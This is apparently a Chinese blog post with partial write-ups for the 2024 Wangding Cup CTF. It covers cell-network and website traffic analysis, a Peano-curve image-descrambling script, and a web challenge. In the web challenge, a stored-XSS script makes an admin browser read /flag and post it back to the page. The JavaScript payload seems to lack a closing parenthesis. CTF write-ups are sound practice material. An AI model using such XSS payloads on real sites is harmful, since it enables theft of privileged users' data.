Logo
Overview

2024网鼎杯青龙组部分题解

October 30, 2024
misc01

基站流量分析。

甚至去看了不少 specification(恼

流量包中有S1AP/DIAMETER/GTPv2等协议的流量包。其中GTPv2是设备和基站连接使用。S1AP/DIAMETER是基站间通信使用?

S1AP操作更底层的内容,不太可能包含位置信息。加上 GPT 大人说 DIAMETER 可以用于位置服务,就把 diameter 的包全部过滤出来了。然后一个一个看,第 110 个包中有 EPS-Location-Infomation.找到其中的唯一标识码:EPS-Location-Information.MME-Location-Infomation.E-UTRAN-Cell-Global-Identity的值,md5 后提交即可。(试了我好久😡

misc03

网站流量分析。

其实好像把所有发包的 ip 全部取出来试一下就出了。

misc04

怎么还能是原题呢。peano 曲线。

IrisCTF2024+SBCTF2024原题。脚本一把梭。另外之前群里传的那个图非常有可能是我出的…

import numpy as np
from PIL import Image

def peano_curve(n):
    peano_old = np.array([[0, 0], [0, 1], [0.5, 1], [0.5, 0], [1, 0], [1, 1]])
    points = peano_old.tolist()
    # points = []
    for i in range(1, n):
        p1 = np.column_stack((peano_old[:, 0], 2 + 1 / (3**i - 1) - peano_old[:, 1]))
        p1 = p1[::-1]
        p2 = np.column_stack((p1[:, 0], 4 + 3 / (3**i - 1) - p1[:, 1]))
        p2 = p2[::-1]
        peano_new = np.vstack((peano_old, p1, p2))
        p1 = np.column_stack((2 + 1 / (3**i - 1) - peano_new[:, 0], peano_new[:, 1]))
        p1 = p1[::-1]
        p2 = np.column_stack((4 + 3 / (3**i - 1) - p1[:, 0], p1[:, 1]))
        p2 = p2[::-1]
        peano_new = np.vstack((peano_new, p1, p2))
        peano_old = peano_new / (3 + 2 / (3**i - 1))
        points = peano_old.tolist()
    points = np.round(np.array(points) * (3**n - 1)).astype(int)
    nP = []
    for i in range(len(points) - 1):
        nP.append(points[i])
        dx = int(points[i + 1][0] - points[i][0])
        dy = int(points[i + 1][1] - points[i][1])
        if dx == 0:
            for j in range(1, abs(dy)):
                nP.append(np.array([points[i][0], points[i][1] + j * (dy // abs(dy))]))
        else:
            for j in range(1, abs(dx)):
                nP.append(np.array([points[i][0] + j * (dx // abs(dx)), points[i][1]]))
    nP.append(points[-1])
    return np.array(nP)
points = peano_curve(6)
r = np.array(Image.open("encrypto.png").convert("RGB"))
w, h = r.shape[:2]
s = []
for i in range(len(points)):
    y, x = points[i]
    s.append(r[x, w - 1 - y])
Image.fromarray(np.array(s).reshape((h, w, 3))).save("crypt2.png")

然后是个二维码,扫开就行。

web02

随便登录,发现有 xss,flag 应该是在/flag 路径下。思路是 xss 让 boss 端浏览器访问/flag得到内容,并且直接 post 回原来的位置就行。

<script>
fetch("/flag").then(data=>data.text())
.then(data=>{
	fetch(document.location,{
		method: "POST",
		headers: {"Content-Type":"application/x-www-form-urlencoded"},
		body: `content=${data}`
	}
});
</script>

comment

留言 / 评论

如果暂时没有看到评论,请点击下方按钮重新加载。